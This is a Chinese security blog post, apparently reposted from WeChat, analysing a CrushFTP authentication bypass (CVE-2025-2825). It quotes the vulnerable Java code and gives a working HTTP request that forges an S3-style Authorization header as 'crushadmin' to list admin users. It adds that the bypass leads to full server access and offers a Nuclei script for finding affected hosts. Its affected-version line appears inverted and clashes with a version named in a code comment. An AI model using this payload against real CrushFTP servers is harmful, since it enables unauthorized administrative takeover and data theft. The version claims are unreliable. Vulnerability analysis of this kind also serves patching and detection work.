点击上方蓝字关注我们 并设为星标
0x00 前言
影响版本:
CrushFTP 10.* >= 10.8.4 CrushFTP 11.* >= 11.3.4
0x01 漏洞分析&复现
ServerSessionHTTP.java 的
loginCheckHeaderAuth() 方法
中
,该方法使用 S3 样式的授权标头处理 HTTP 请求。这是易受攻击的代码的关键部分
if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
// Extract the username from credential field
String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
// Initialize variables
String user_pass = null;
String user_name = s3_username3;
boolean lookup_user_pass = true; // Default to true - this is crucial!
// Check if username contains a tilde
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
// In version 11.3.0, there's no security check here
// Attempt to authenticate the user
if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
// Authentication succeeds
}
}
问题在 lookup_user_pass
方法。此标志具有以下用途:
- 最初,它旨在指示系统是应从存储中查找用户的密码 (when
true
) 还是使用提供的密码 (whenfalse
) - 但是,同一标志作为第一个参数直接传递给
login_user_pass()
,其中它用作anyPass
参数
此参数过载会产生漏洞 - 特别是因为默认情况下, lookup_user_pass
如果用户名不包含波浪号字符 (~),则在处理 S3 身份验证标头时true
设置为此漏洞
// Check if header exists and starts with "AWS4-HMAC"
if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
// Extract username through string operations
String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
// s3_username = "AWS4-HMAC-SHA256 Credential=crushadmin/"
String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
// s3_username2 = "crushadmin/"
String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
// s3_username3 = "crushadmin"
String user_name = s3_username3;
boolean lookup_user_pass = true; // Default to true
// Only change lookup_user_pass if username contains tilde
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
}
显示出所有管理用户的Payload:
GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
Host: 127.0.0.1:8081
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
后续如果访问文件、上传恶意内容、创建 admin 用户,基本上获得了对服务器的完全访问权限。
Nuclei脚本:
![【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)]()
0x02 Nuclei脚本
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转
Nuclei脚本关注公众号发送 250406 获取!
https://mp.weixin.qq.com/s/EFgzGZSc7DGxXZc3DlALtw
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论